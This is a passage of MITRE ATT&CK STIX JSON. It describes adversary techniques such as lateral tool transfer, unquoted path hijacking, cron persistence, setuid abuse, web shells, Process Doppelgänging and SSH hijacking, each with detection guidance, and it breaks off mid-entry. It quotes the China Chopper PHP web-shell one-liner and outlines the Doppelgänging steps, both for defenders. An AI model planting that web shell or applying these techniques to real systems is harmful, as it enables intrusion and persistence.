sending significantly more data than it receives from a server) to known cloud storage services. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. User behavior monitoring may help to detect abnormal patterns of activity.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.2", "x_mitre_data_sources": ["Network Traffic: Network Traffic Content", "Network Traffic: Network Connection Creation", "Network Traffic: Network Traffic Flow", "File: File Access", "Command: Command Execution"], "type": "attack-pattern", "id": "attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b", "created": "2020-03-09T15:04:32.767Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1567/002", "external_id": "T1567.002"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-10-01T13:48:28.738Z", "name": "Lateral Tool Transfer", "description": "Adversaries may transfer tools or other files between systems in a compromised environment. Once brought into the victim environment (i.e., [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105)) files may then be copied from one system to another to stage adversary tools or other files over the course of an operation.\n\nAdversaries may copy files between internal victim systems to support lateral movement using inherent file sharing protocols such as file sharing over [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) to connected network shares or with authenticated connections via [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1021/001).(Citation: Unit42 LockerGoga 2019)\n\nFiles can also be transferred using native or otherwise present tools on the victim system, such as scp, rsync, curl, sftp, and [ftp](https://attack.mitre.org/software/S0095). In some cases, adversaries may be able to leverage [Web Service](https://attack.mitre.org/techniques/T1102)s such as Dropbox or OneDrive to copy files from one machine to another via shared, automatically synced folders.(Citation: Dropbox Malware Sync)", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_contributors": ["Shailesh Tiwary (Indian Army)"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor for file creation and files transferred within a network using protocols such as SMB or FTP. Unusual processes with internal network connections creating files on-system may be suspicious. Consider monitoring for abnormal usage of utilities and command-line arguments that may be used in support of remote transfer of files. Considering monitoring for alike file hashes or characteristics (ex: filename) that are created on multiple hosts.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": false, "x_mitre_platforms": ["Linux", "macOS", "Windows"], "x_mitre_version": "1.3", "x_mitre_data_sources": ["Named Pipe: Named Pipe Metadata", "Network Share: Network Share Access", "Network Traffic: Network Traffic Flow", "Command: Command Execution", "Process: Process Creation", "File: File Creation", "Network Traffic: Network Traffic Content", "File: File Metadata"], "type": "attack-pattern", "id": "attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5", "created": "2020-03-11T21:01:00.959Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1570", "external_id": "T1570"}, {"source_name": "Dropbox Malware Sync", "description": "David Talbot. (2013, August 21). Dropbox and Similar Services Can Sync Malware. Retrieved May 31, 2023.", "url": "https://www.technologyreview.com/2013/08/21/83143/dropbox-and-similar-services-can-sync-malware/"}, {"source_name": "Unit42 LockerGoga 2019", "description": "Harbison, M. (2019, March 26). Born This Way? Origins of LockerGoga. Retrieved April 16, 2019.", "url": "https://unit42.paloaltonetworks.com/born-this-way-origins-of-lockergoga/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"modified": "2023-03-30T21:01:35.788Z", "name": "Path Interception by Unquoted Path", "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., <code>C:\\unsafe path with space\\program.exe</code> vs. <code>\"C:\\safe path with space\\program.exe\"</code>). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is <code>C:\\program files\\myapp.exe</code>, an adversary may create a program at <code>C:\\program.exe</code> that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_contributors": ["Stefan Kanthak"], "x_mitre_deprecated": false, "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", "x_mitre_domains": ["enterprise-attack"], "x_mitre_is_subtechnique": true, "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_platforms": ["Windows"], "x_mitre_version": "1.1", "x_mitre_data_sources": ["File: File Modification", "File: File Creation", "Process: Process Creation"], "type": "attack-pattern", "id": "attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b", "created": "2020-03-13T13:51:58.519Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1574/009", "external_id": "T1574.009"}, {"source_name": "Windows Privilege Escalation Guide", "description": "absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.", "url": "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/"}, {"source_name": "Windows Unquoted Services", "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018.", "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/"}, {"source_name": "Help eliminate unquoted path", "description": "Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012.", "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464"}, {"source_name": "Microsoft CurrentControlSet Services", "description": "Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020.", "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]}, {"x_mitre_platforms": ["PRE"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--c071d8c1-3b3a-4f22-9407-ca4e96921069", "type": "attack-pattern", "created": "2021-03-17T20:32:13.793Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "mitre-attack", "external_id": "T1608.003", "url": "https://attack.mitre.org/techniques/T1608/003"}, {"source_name": "DigiCert Install SSL Cert", "url": "https://www.digicert.com/kb/ssl-certificate-installation.htm", "description": "DigiCert. (n.d.). How to Install an SSL Certificate. Retrieved April 19, 2021."}, {"source_name": "Splunk Kovar Certificates 2017", "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html", "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020."}], "modified": "2021-10-16T17:47:46.409Z", "name": "Install Digital Certificate", "description": "Adversaries may install SSL/TLS certificates that can be used during targeting. SSL/TLS certificates are files that can be installed on servers to enable secure communications between systems. Digital certificates include information about the key, information about its owner's identity, and the digital signature of an entity that has verified the certificate's contents are correct. If the signature is valid, and the person examining the certificate trusts the signer, then they know they can use that key to communicate securely with its owner. Certificates can be uploaded to a server, then the server can be configured to use the certificate to enable encrypted communication with it.(Citation: DigiCert Install SSL Cert)\n\nAdversaries may install SSL/TLS certificates that can be used to further their operations, such as encrypting C2 traffic (ex: [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002) with [Web Protocols](https://attack.mitre.org/techniques/T1071/001)) or lending credibility to a credential harvesting site. Installation of digital certificates may take place for a number of server types, including web servers and email servers. \n\nAdversaries can obtain digital certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1588/004)) or create self-signed certificates (see [Digital Certificates](https://attack.mitre.org/techniques/T1587/003)). Digital certificates can then be installed on adversary controlled infrastructure that may have been acquired ([Acquire Infrastructure](https://attack.mitre.org/techniques/T1583)) or previously compromised ([Compromise Infrastructure](https://attack.mitre.org/techniques/T1584)).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "resource-development"}], "x_mitre_detection": "Consider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nDetection efforts may be focused on related behaviors, such as [Web Protocols](https://attack.mitre.org/techniques/T1071/001) or [Asymmetric Cryptography](https://attack.mitre.org/techniques/T1573/002).", "x_mitre_is_subtechnique": true, "x_mitre_version": "1.1", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_data_sources": ["Internet Scan: Response Content"]}, {"x_mitre_platforms": ["Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Anastasios Pingios"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--c0a384a4-9a25-40e1-97b6-458388474bc8", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1168", "url": "https://attack.mitre.org/techniques/T1168"}, {"url": "https://linux.die.net/man/5/crontab", "description": "Paul Vixie. (n.d.). crontab(5) - Linux man page. Retrieved December 19, 2017.", "source_name": "Die.net Linux crontab Man Page"}, {"url": "https://linux.die.net/man/1/at", "description": "Thomas Koenig. (n.d.). at(1) - Linux man page. Retrieved December 19, 2017.", "source_name": "Die.net Linux at Man Page"}, {"url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/ScheduledJobs.html", "description": "Apple. (n.d.). Retrieved July 17, 2017.", "source_name": "AppleDocs Scheduling Timed Jobs"}, {"url": "http://www.thesafemac.com/new-signed-malware-called-janicab/", "description": "Thomas. (2013, July 15). New signed malware called Janicab. Retrieved July 17, 2017.", "source_name": "Janicab"}, {"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", "source_name": "Methods of Mac Malware Persistence"}, {"url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017.", "source_name": "Malware Persistence on OS X"}, {"url": "https://blog.avast.com/2015/01/06/linux-ddos-trojan-hiding-itself-with-an-embedded-rootkit/", "description": "Threat Intelligence Team. (2015, January 6). Linux DDoS Trojan hiding itself with an embedded rootkit. Retrieved January 8, 2018.", "source_name": "Avast Linux Trojan Cron Persistence"}], "modified": "2021-03-30T00:51:58.374Z", "name": "Local Job Scheduling", "description": "On Linux and macOS systems, multiple methods are supported for creating pre-scheduled and periodic background jobs: cron, (Citation: Die.net Linux crontab Man Page) at, (Citation: Die.net Linux at Man Page) and launchd. (Citation: AppleDocs Scheduling Timed Jobs) Unlike [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) on Windows systems, job scheduling on Linux-based systems cannot be done remotely unless used in conjunction within an established remote session, like secure shell (SSH).\n\n### cron\n\nSystem-wide cron jobs are installed by modifying <code>/etc/crontab</code> file, <code>/etc/cron.d/</code> directory or other locations supported by the Cron daemon, while per-user cron jobs are installed using crontab with specifically formatted crontab files. (Citation: AppleDocs Scheduling Timed Jobs) This works on macOS and Linux systems.\n\nThose methods allow for commands or scripts to be executed at specific, periodic intervals in the background without user interaction. An adversary may use job scheduling to execute programs at system startup or on a scheduled basis for Persistence, (Citation: Janicab) (Citation: Methods of Mac Malware Persistence) (Citation: Malware Persistence on OS X) (Citation: Avast Linux Trojan Cron Persistence) to conduct Execution as part of Lateral Movement, to gain root privileges, or to run a process under the context of a specific account.\n\n### at\n\nThe at program is another means on POSIX-based systems, including macOS and Linux, to schedule a program or script job for execution at a later date and/or time, which could also be used for the same purposes.\n\n### launchd\n\nEach launchd job is described by a different configuration property list (plist) file similar to [Launch Daemon](https://attack.mitre.org/techniques/T1160) or [Launch Agent](https://attack.mitre.org/techniques/T1159), except there is an additional key called <code>StartCalendarInterval</code> with a dictionary of time values. (Citation: AppleDocs Scheduling Timed Jobs) This only works on macOS and OS X.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "execution"}], "x_mitre_detection": "Legitimate scheduled jobs may be created during installation of new software or through administration functions. Jobs scheduled with launchd and cron can be monitored from their respective utilities to list out detailed information about the jobs. Monitor process execution resulting from launchd and cron tasks to look for unusual or unknown applications and behavior.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["Administrator", "User", "root"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--c0df6533-30ee-4a4a-9c6d-17af5abdf0b2", "type": "attack-pattern", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1166", "url": "https://attack.mitre.org/techniques/T1166"}, {"url": "http://man7.org/linux/man-pages/man2/setuid.2.html", "description": "Michael Kerrisk. (2017, September 15). Linux Programmer's Manual. Retrieved September 21, 2018.", "source_name": "setuid man page"}, {"url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/", "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", "source_name": "OSX Keydnap malware"}], "modified": "2020-02-05T20:09:22.650Z", "name": "Setuid and Setgid", "description": "When the setuid or setgid bits are set on Linux or macOS for an application, this means that the application will run with the privileges of the owning user or group respectively  (Citation: setuid man page). Normally an application is run in the current user\u2019s context, regardless of which user or group owns the application. There are instances where programs need to be executed in an elevated context to function properly, but the user running them doesn\u2019t need the elevated privileges. Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications. These bits are indicated with an \"s\" instead of an \"x\" when viewing a file's attributes via <code>ls -l</code>. The <code>chmod</code> program can set these bits with via bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>.\n\nAn adversary can take advantage of this to either do a shell escape or exploit a vulnerability in an application with the setsuid or setgid bits to get code running in a different user\u2019s context. Additionally, adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future  (Citation: OSX Keydnap malware).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}, {"kill_chain_name": "mitre-attack", "phase_name": "persistence"}], "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Monitor for execution of utilities, like chmod, and their command-line arguments to look for setuid or setguid bits being set.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_permissions_required": ["User"], "x_mitre_effective_permissions": ["Administrator", "root"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "attack-pattern", "id": "attack-pattern--c0dfe7b0-b873-4618-9ff8-53e31f70907f", "created": "2020-01-15T18:00:33.603Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "mitre-attack", "external_id": "T1037.005", "url": "https://attack.mitre.org/techniques/T1037/005"}, {"source_name": "Startup Items", "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017."}, {"source_name": "Methods of Mac Malware Persistence", "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017."}], "x_mitre_deprecated": false, "revoked": false, "description": "Adversaries may use startup items automatically executed at boot initialization to establish persistence. Startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items.(Citation: Startup Items)\n\nThis is technically a deprecated technology (superseded by [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)), and thus the appropriate folder, <code>/Library/StartupItems</code> isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), <code>StartupParameters.plist</code>, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism.(Citation: Methods of Mac Malware Persistence) Additionally, since StartupItems run during the bootup phase of macOS, they will run as the elevated root user.", "modified": "2022-04-20T16:43:21.560Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Startup Items", "x_mitre_detection": "The <code>/Library/StartupItems</code> folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist.\n\nMonitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_is_subtechnique": true, "x_mitre_data_sources": ["Command: Command Execution", "File: File Creation", "Process: Process Creation", "File: File Modification"], "x_mitre_permissions_required": ["Administrator"], "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"x_mitre_platforms": ["Linux", "Windows", "macOS"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--c16e5409-ee53-4d79-afdc-4099dc9292df", "type": "attack-pattern", "created": "2017-05-31T21:31:13.061Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1100", "url": "https://attack.mitre.org/techniques/T1100"}, {"external_id": "CAPEC-650", "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/650.html"}, {"url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html", "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.", "source_name": "Lee 2013"}, {"url": "https://www.us-cert.gov/ncas/alerts/TA15-314A", "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.", "source_name": "US-CERT Alert TA15-314A Web Shells"}], "modified": "2020-03-19T20:22:02.163Z", "name": "Web Shell", "description": "A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to use the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server. In addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (see, for example, China Chopper Web shell client). (Citation: Lee 2013)\n\nWeb shells may serve as [Redundant Access](https://attack.mitre.org/techniques/T1108) or as a persistence mechanism in case an adversary's primary access methods are detected and removed.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "persistence"}, {"kill_chain_name": "mitre-attack", "phase_name": "privilege-escalation"}], "x_mitre_detection": "Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013)\n\n<code><?php @eval($_POST['password']);></code>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as running [cmd](https://attack.mitre.org/software/S0106) or accessing files that are not in the Web directory. File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script. Log authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_system_requirements": ["Adversary access to Web server with vulnerability or account to upload and serve the Web shell file."], "x_mitre_effective_permissions": ["SYSTEM", "User"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Windows"], "x_mitre_domains": ["enterprise-attack"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--c1a452f3-6499-4c12-b7e9-a6a0a102af76", "type": "attack-pattern", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1186", "url": "https://attack.mitre.org/techniques/T1186"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/bb968806.aspx", "description": "Microsoft. (n.d.). Transactional NTFS (TxF). Retrieved December 20, 2017.", "source_name": "Microsoft TxF"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/dd979526.aspx", "description": "Microsoft. (n.d.). Basic TxF Concepts. Retrieved December 20, 2017.", "source_name": "Microsoft Basic TxF Concepts"}, {"url": "https://msdn.microsoft.com/library/windows/desktop/aa365738.aspx", "description": "Microsoft. (n.d.). When to Use Transactional NTFS. Retrieved December 20, 2017.", "source_name": "Microsoft Where to use TxF"}, {"url": "https://www.blackhat.com/docs/eu-17/materials/eu-17-Liberman-Lost-In-Transaction-Process-Doppelganging.pdf", "description": "Liberman, T. & Kogan, E. (2017, December 7). Lost in Transaction: Process Doppelg\u00e4nging. Retrieved December 20, 2017.", "source_name": "BlackHat Process Doppelg\u00e4nging Dec 2017"}, {"url": "https://hshrzd.wordpress.com/2017/12/18/process-doppelganging-a-new-way-to-impersonate-a-process/", "description": "hasherezade. (2017, December 18). Process Doppelg\u00e4nging \u2013 a new way to impersonate a process. Retrieved December 20, 2017.", "source_name": "hasherezade Process Doppelg\u00e4nging Dec 2017"}, {"url": "https://msdn.microsoft.com/library/windows/hardware/ff559951.aspx", "description": "Microsoft. (n.d.). PsSetCreateProcessNotifyRoutine routine. Retrieved December 20, 2017.", "source_name": "Microsoft PsSetCreateProcessNotifyRoutine routine"}], "modified": "2020-01-14T17:23:25.111Z", "name": "Process Doppelg\u00e4nging", "description": "Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)\n\nAlthough deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nAdversaries may leverage TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055) called Process Doppelg\u00e4nging. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), Process Doppelg\u00e4nging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process Doppelg\u00e4nging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017)\n\nProcess Doppelg\u00e4nging is implemented in 4 steps (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017):\n\n* Transact \u2013 Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.\n* Load \u2013 Create a shared section of memory and load the malicious executable.\n* Rollback \u2013 Undo changes to original executable, effectively removing malicious code from the file system.\n* Animate \u2013 Create a process from the tainted section of memory and initiate execution.", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "defense-evasion"}], "x_mitre_detection": "Monitor and analyze calls to CreateTransaction, CreateFileTransacted, RollbackTransaction, and other rarely used functions indicative of TxF activity. Process Doppelg\u00e4nging also invokes an outdated and undocumented implementation of the Windows process loader via calls to NtCreateProcessEx and NtCreateThreadEx as well as API calls used to modify memory within another process, such as WriteProcessMemory. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nScan file objects reported during the PsSetCreateProcessNotifyRoutine, (Citation: Microsoft PsSetCreateProcessNotifyRoutine routine) which triggers a callback whenever a process is created or deleted, specifically looking for file objects with enabled write access. (Citation: BlackHat Process Doppelg\u00e4nging Dec 2017) Also consider comparing file objects loaded in memory to the corresponding file on disk. (Citation: hasherezade Process Doppelg\u00e4nging Dec 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_defense_bypassed": ["Process whitelisting", "Anti-virus", "Whitelisting by file name or path", "Signature-based detection"], "x_mitre_permissions_required": ["Administrator", "SYSTEM", "User"], "x_mitre_is_subtechnique": false}, {"x_mitre_platforms": ["Linux", "macOS"], "x_mitre_domains": ["enterprise-attack"], "x_mitre_contributors": ["Anastasios Pingios"], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb", "type": "attack-pattern", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": true, "external_references": [{"source_name": "mitre-attack", "external_id": "T1184", "url": "https://attack.mitre.org/techniques/T1184"}, {"url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219", "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.", "source_name": "Slideshare Abusing SSH"}, {"url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf", "description": "Adam Boileau. (2005, August 5). Trust Transience:  Post Intrusion SSH Hijacking. Retrieved December 19, 2017.", "source_name": "SSHjack Blackhat"}, {"url": "https://www.clockwork.com/news/2012/09/28/602/ssh_agent_hijacking", "description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.", "source_name": "Clockwork SSH Agent Hijacking"}, {"url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/", "description": "M.L\u00e9veill\u00e9, M. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved January 8, 2018.", "source_name": "Welivesecurity Ebury SSH"}], "modified": "2020-02-25T19:00:50.826Z", "name": "SSH Hijacking", "description": "Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "kill_chain_phases": [{"kill_chain_name": "mitre-attack", "phase_name": "lateral-movement"}], "x_mitre_detection": "Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or 